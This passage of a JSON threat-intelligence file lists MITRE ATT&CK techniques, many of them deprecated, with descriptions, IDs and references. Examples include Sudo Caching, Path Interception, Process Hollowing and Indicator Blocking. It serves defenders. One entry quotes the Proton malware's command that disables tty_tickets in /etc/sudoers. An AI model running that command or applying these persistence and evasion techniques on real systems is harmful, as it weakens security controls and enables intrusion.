"https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf",
"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
]
},
"related": [
{
"dest-uuid": "573ad264-1371-4ae0-8482-d2673b719dba",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "e99ec083-abdd-48de-ad87-4dbf6f8ba2a4",
"value": "Launch Daemon - T1160"
},
{
"description": "Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)",
"meta": {
"external_id": "T1107",
"refs": [
"http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/",
"https://attack.mitre.org/techniques/T1107"
]
},
"related": [
{
"dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59",
"value": "File Deletion - T1107"
},
{
"description": "**This technique has been deprecated. Please use [Create Account](https://attack.mitre.org/techniques/T1136), [Web Shell](https://attack.mitre.org/techniques/T1505/003), and [External Remote Services](https://attack.mitre.org/techniques/T1133) where appropriate.**\n\nAdversaries may use more than one remote access tool with varying command and control protocols or credentialed access to remote services so they can maintain access if an access mechanism is detected or mitigated. \n\nIf one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use [External Remote Services](https://attack.mitre.org/techniques/T1133) such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network.(Citation: Mandiant APT1) Adversaries may also retain access through cloud-based infrastructure and applications.\n\nUse of a [Web Shell](https://attack.mitre.org/techniques/T1100) is one such way to maintain access to a network through an externally accessible Web server.",
"meta": {
"external_id": "T1108",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:persistence"
],
"mitre_platforms": [
"Windows",
"Azure AD",
"Office 365",
"SaaS",
"IaaS",
"Linux",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1108",
"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
]
},
"uuid": "6aabc5ec-eae6-422c-8311-38d45ee9838a",
"value": "Redundant Access - T1108"
},
{
"description": "Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1019) but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.",
"meta": {
"external_id": "T1109",
"refs": [
"https://attack.mitre.org/techniques/T1109",
"https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html",
"https://www.smartmontools.org/"
]
},
"related": [
{
"dest-uuid": "791481f8-e96a-41be-b089-a088763083d4",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44",
"value": "Component Firmware - T1109"
},
{
"description": "The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.",
"meta": {
"external_id": "CAPEC-532",
"refs": [
"http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html",
"http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about",
"http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research",
"http://www.uefi.org/about",
"https://attack.mitre.org/techniques/T1019",
"https://capec.mitre.org/data/definitions/532.html",
"https://en.wikipedia.org/wiki/BIOS",
"https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface",
"https://github.com/chipsec/chipsec",
"https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/"
]
},
"related": [
{
"dest-uuid": "16ab6452-c3c1-497c-a47d-206018ca1ada",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "6856ddd6-2df3-4379-8b87-284603c189c3",
"value": "System Firmware - T1019"
},
{
"description": "Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.\n\nOther exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048)",
"meta": {
"external_id": "T1022",
"refs": [
"http://www.netsec.colostate.edu/~zhang/DetectingEncryptedBotnetTraffic.pdf",
"https://attack.mitre.org/techniques/T1022",
"https://en.wikipedia.org/wiki/List_of_file_signatures"
]
},
"related": [
{
"dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "d54416bd-0803-41ca-870a-ce1af7c05638",
"value": "Data Encrypted - T1022"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1320).\n\nCertain types of traffic (e.g., DNS tunneling, header inject) allow for user-defined fields. These fields can then be used to hide data. In addition to hiding data in network protocols, steganography techniques can be used to hide data in images or other file formats. Detection can be difficult unless a particular signature is already known. (Citation: BotnetsDNSC2) (Citation: HAMMERTOSS2015) (Citation: DNS-Tunnel)",
"meta": {
"external_id": "T1320",
"kill_chain": [
"mitre-pre-attack:adversary-opsec"
],
"refs": [
"https://attack.mitre.org/techniques/T1320"
]
},
"uuid": "1ff8b824-5287-4583-ab6a-013bf36d4864",
"value": "Data Hiding - T1320"
},
{
"description": "Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.",
"meta": {
"external_id": "CAPEC-132",
"refs": [
"https://attack.mitre.org/techniques/T1023",
"https://capec.mitre.org/data/definitions/132.html"
]
},
"related": [
{
"dest-uuid": "4ab929c6-ee2d-4fb5-aab4-b14be2ed7179",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810",
"value": "Shortcut Modification - T1023"
},
{
"description": "An intent is a message passed between Android application or system components. Applications can register to receive broadcast intents at runtime, which are system-wide intents delivered to each app when certain events happen on the device, such as network changes or the user unlocking the screen. Malicious applications can then trigger certain actions within the app based on which broadcast intent was received.\n\nFurther, malicious applications can register for intents broadcasted by other applications in addition to the Android system itself. This allows the malware to respond based on actions in other applications. This behavior typically indicates a more intimate knowledge, or potentially the targeting of specific devices, users, or applications.\n\nIn Android 8 (API level 26), broadcast intent behavior was changed, limiting the implicit intents that applications can register for in the manifest. In most cases, applications that register through the manifest will no longer receive the broadcasts. Now, applications must register context-specific broadcast receivers while the user is actively using the app.(Citation: Android Changes to System Broadcasts)",
"meta": {
"external_id": "T1402",
"kill_chain": [
"mitre-mobile-attack:persistence",
"mitre-mobile-attack:execution"
],
"mitre_platforms": [
"Android"
],
"refs": [
"https://attack.mitre.org/techniques/T1402",
"https://developer.android.com/guide/components/broadcasts#changes-system-broadcasts"
]
},
"related": [],
"uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69",
"value": "Broadcast Receivers - T1402"
},
{
"description": "An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566).\n\nWhile [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).",
"meta": {
"external_id": "T1204",
"kill_chain": [
"mitre-attack:execution"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"Command: Command Execution",
"Container: Container Creation",
"Container: Container Start",
"File: File Creation",
"Image: Image Creation",
"Instance: Instance Creation",
"Instance: Instance Start",
"Network Traffic: Network Connection Creation",
"Network Traffic: Network Traffic Content",
"Process: Process Creation"
],
"mitre_platforms": [
"Linux",
"Windows",
"macOS",
"IaaS",
"Containers"
],
"refs": [
"https://attack.mitre.org/techniques/T1204"
]
},
"uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5",
"value": "User Execution - T1204"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1240).\n\nOnce divided into the most granular parts, analysts work with collection managers to task the collection management system with requirements and sub-requirements. (Citation: Heffter) (Citation: JP2-01)",
"meta": {
"external_id": "T1240",
"kill_chain": [
"mitre-pre-attack:priority-definition-direction"
],
"refs": [
"https://attack.mitre.org/techniques/T1240"
]
},
"uuid": "b93bd611-da4e-4c84-a40f-325b712bed67",
"value": "Task requirements - T1240"
},
{
"description": "Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.\n\nAdversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\n\nOn network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities.(Citation: Cisco Synful Knock Evolution) (Citation: FireEye - Synful Knock) (Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.\n\nAdversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL) (Citation: AMD Magic Packet)",
"meta": {
"external_id": "T1205",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:persistence",
"mitre-attack:command-and-control"
],
"mitre_data_sources": [
"Network Traffic: Network Connection Creation",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows",
"Network"
],
"refs": [
"https://attack.mitre.org/techniques/T1205",
"https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices",
"https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954",
"https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN",
"https://www.amd.com/system/files/TechDocs/20213.pdf",
"https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/",
"https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html",
"https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631"
]
},
"uuid": "451a9977-d255-43c9-b431-66de80130c8c",
"value": "Traffic Signaling - T1205"
},
{
"description": "**This technique has been deprecated and should no longer be used.**\n\nSome adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.",
"meta": {
"external_id": "T1026",
"kill_chain": [
"mitre-attack:command-and-control"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
"https://attack.mitre.org/techniques/T1026"
]
},
"uuid": "99709758-2b96-48f2-a68a-ad7fbd828091",
"value": "Multiband Communication - T1026"
},
{
"description": "The sudo command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\" (Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout that is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nAdversaries can abuse poor configurations of this to escalate privileges without needing the user's password. /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. When tty_tickets is disabled, adversaries can do this from any tty for that user. \n\nThe OSX Proton Malware has disabled tty_tickets to potentially make scripting easier by issuing echo \\'Defaults !tty_tickets\\' >> /etc/sudoers (Citation: cybereason osx proton). In order for this change to be reflected, the Proton malware also must issue killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.",
"meta": {
"external_id": "T1206",
"refs": [
"https://attack.mitre.org/techniques/T1206",
"https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does",
"https://www.sudo.ws/"
]
},
"related": [
{
"dest-uuid": "1365fe3b-0f50-455d-b4da-266ce31c23b0",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "2169ba87-1146-4fc7-a118-12b72251db7e",
"value": "Sudo Caching - T1206"
},
{
"description": "The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish Persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)",
"meta": {
"external_id": "T1209",
"refs": [
"https://attack.mitre.org/techniques/T1209",
"https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings",
"https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top",
"https://github.com/scottlundgren/w32time",
"https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx",
"https://technet.microsoft.com/en-us/sysinternals/bb963902"
]
},
"related": [
{
"dest-uuid": "61afc315-860c-4364-825d-0d62b2e91edc",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "dce31a00-1e90-4655-b0f9-e2e71a748a87",
"value": "Time Providers - T1209"
},
{
"description": "Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.\n\nWhen scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) or [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).",
"meta": {
"external_id": "T1029",
"kill_chain": [
"mitre-attack:exfiltration"
],
"mitre_data_sources": [
"Network Traffic: Network Connection Creation",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1029"
]
},
"uuid": "4eeaf8a9-c86b-4954-a663-9555fb406466",
"value": "Scheduled Transfer - T1029"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1340).\n\nThe process of gathering domain account credentials in order to silently create subdomains pointed at malicious servers without tipping off the actual owner. (Citation: CiscoAngler) (Citation: ProofpointDomainShadowing)",
"meta": {
"external_id": "T1340",
"kill_chain": [
"mitre-pre-attack:establish-&-maintain-infrastructure"
],
"refs": [
"https://attack.mitre.org/techniques/T1340",
"https://blogs.cisco.com/security/talos/angler-domain-shadowing"
]
},
"uuid": "3f157dee-74f0-41fc-801e-f837b8985b0a",
"value": "Shadow DNS - T1340"
},
{
"description": "**This technique has been deprecated. Please use [Path Interception by PATH Environment Variable](https://attack.mitre.org/techniques/T1574/007), [Path Interception by Search Order Hijacking](https://attack.mitre.org/techniques/T1574/008), and/or [Path Interception by Unquoted Path](https://attack.mitre.org/techniques/T1574/009).**\n\nPath interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of [cmd](https://attack.mitre.org/software/S0106) in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)\n\nThere are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\n\n### Unquoted Paths\nService paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\unsafe path with space\\program.exe vs. \"C:\\safe path with space\\program.exe\"). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\program files\\myapp.exe, an adversary may create a program at C:\\program.exe that will be run instead of the intended program. (Citation: SecurityBoulevard Unquoted Services APR 2018) (Citation: SploitSpren Windows Priv Jan 2018)\n\n### PATH Environment Variable Misconfiguration\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\\system32 (e.g., C:\\Windows\\system32), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if C:\\example path precedes C:\\Windows\\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\\example path will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.\n\n### Search Order Hijacking\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument net user. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then cmd.exe /C net user will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).",
"meta": {
"external_id": "CAPEC-159",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:privilege-escalation"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"http://msdn.microsoft.com/en-us/library/ms682425",
"http://msdn.microsoft.com/en-us/library/ms687393",
"http://support.microsoft.com/KB/103000",
"http://technet.microsoft.com/en-us/library/cc723564.aspx#XSLTsection127121120120",
"https://attack.mitre.org/techniques/T1034",
"https://blogs.technet.microsoft.com/srd/2014/04/08/ms14-019-fixing-a-binary-hijacking-via-cmd-or-bat-file/",
"https://capec.mitre.org/data/definitions/159.html",
"https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464",
"https://msdn.microsoft.com/en-us/library/fd7hxfdd.aspx",
"https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/",
"https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/"
]
},
"uuid": "c4ad009b-6e13-4419-8d21-918a1652de02",
"value": "Path Interception - T1034"
},
{
"description": "An adversary could use a malicious or exploited application to surreptitiously track the device's physical location through use of standard operating system APIs.",
"meta": {
"external_id": "APP-24",
"kill_chain": [
"mitre-mobile-attack:collection",
"mitre-mobile-attack:discovery"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1430",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-24.html"
]
},
"uuid": "99e6295e-741b-4857-b6e5-64989eb039b4",
"value": "Location Tracking - T1430"
},
{
"description": "Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with [New Service](https://attack.mitre.org/techniques/T1050) and [Modify Existing Service](https://attack.mitre.org/techniques/T1031) during service persistence or privilege escalation.",
"meta": {
"external_id": "T1035",
"refs": [
"https://attack.mitre.org/techniques/T1035"
]
},
"related": [
{
"dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392",
"value": "Service Execution - T1035"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1306).\n\nAnonymity services reduce the amount of information available that can be used to track an adversary's activities. Multiple options are available to hide activity, limit tracking, and increase anonymity. (Citation: TOR Design) (Citation: Stratfor2012)",
"meta": {
"external_id": "T1306",
"kill_chain": [
"mitre-pre-attack:adversary-opsec"
],
"refs": [
"https://attack.mitre.org/techniques/T1306"
]
},
"uuid": "d3dca536-8bf0-4e43-97c1-44a2353c3d69",
"value": "Anonymity services - T1306"
},
{
"description": "Process hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis. (Citation: Leitch Hollowing) (Citation: Elastic Process Injection July 2017)",
"meta": {
"external_id": "T1093",
"refs": [
"http://www.autosectools.com/process-hollowing.pdf",
"https://attack.mitre.org/techniques/T1093",
"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
]
},
"related": [
{
"dest-uuid": "b200542e-e877-4395-875b-cf1a44537ca4",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "1c338d0f-a65e-4073-a5c1-c06878849f21",
"value": "Process Hollowing - T1093"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1309).\n\nObfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: LUCKYCAT2012)",
"meta": {
"external_id": "T1309",
"kill_chain": [
"mitre-pre-attack:adversary-opsec"
],
"refs": [
"https://attack.mitre.org/techniques/T1309"
]
},
"related": [
{
"dest-uuid": "72c8d526-1247-42d4-919c-6d7a31ca8f39",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
}
],
"uuid": "e6ca2820-a564-4b74-b42a-b6bdf052e5b6",
"value": "Obfuscate infrastructure - T1309"
},
{
"description": "An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW),(Citation: Microsoft About Event Tracing 2018) by tampering settings that control the collection and flow of event telemetry. (Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1086) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).\n\nETW interruption can be achieved multiple ways, however most directly by defining conditions using the PowerShell Set-EtwTraceProvider cmdlet or by interfacing directly with the registry to make alterations.\n\nIn the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products. ",
"meta": {
"external_id": "CAPEC-571",
"refs": [
"https://attack.mitre.org/techniques/T1054",
"https://capec.mitre.org/data/definitions/571.html",
"https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events",
"https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63",
"https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A"
]
},
"related": [
{
"dest-uuid": "74d2a63f-3c7b-4852-92da-02d8fbab16da",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df",
"value": "Indicator Blocking - T1054"
},
{
"description": "Adversaries may use code injection attacks to implant arbitrary code into the address space of a running application. Code is then executed or interpreted by that application. Adversaries utilizing this technique may exploit capabilities to load code in at runtime through dynamic libraries.\n\nWith root access, `ptrace` can be used to target specific applications and load shared libraries into its process memory.(Citation: Shunix Code Injection Mar 2016)(Citation: Fadeev Code Injection Aug 2018) By injecting code, an adversary may be able to gain access to higher permissions held by the targeted application by executing as the targeted application. In addition, the adversary may be able to evade detection or enable persistent access to a system under the guise of the application’s process.(Citation: Google Triada June 2019)\n",
"meta": {
"external_id": "T1540",
"kill_chain": [
"mitre-mobile-attack:persistence",
"mitre-mobile-attack:privilege-escalation",
"mitre-mobile-attack:defense-evasion"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1540",
"https://fadeevab.com/shared-library-injection-on-android-8/",
"https://security.googleblog.com/2019/06/pha-family-highlights-triada.html",
"https://shunix.com/shared-library-injection-in-android/"
]
},
"related": [],
"uuid": "039bc59c-ecc7-4997-b2b4-4ab728bd91aa",
"value": "Code Injection - T1540"
},
{
"description": "Adversaries may gain persistence and elevate privileges in certain situations by abusing [PowerShell](https://attack.mitre.org/techniques/T1086) profiles. A PowerShell profile (profile.ps1) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments. PowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the -NoProfile flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)",
"meta": {
"external_id": "T1504",
"refs": [
"http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf",
"https://attack.mitre.org/techniques/T1504",
"https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6",
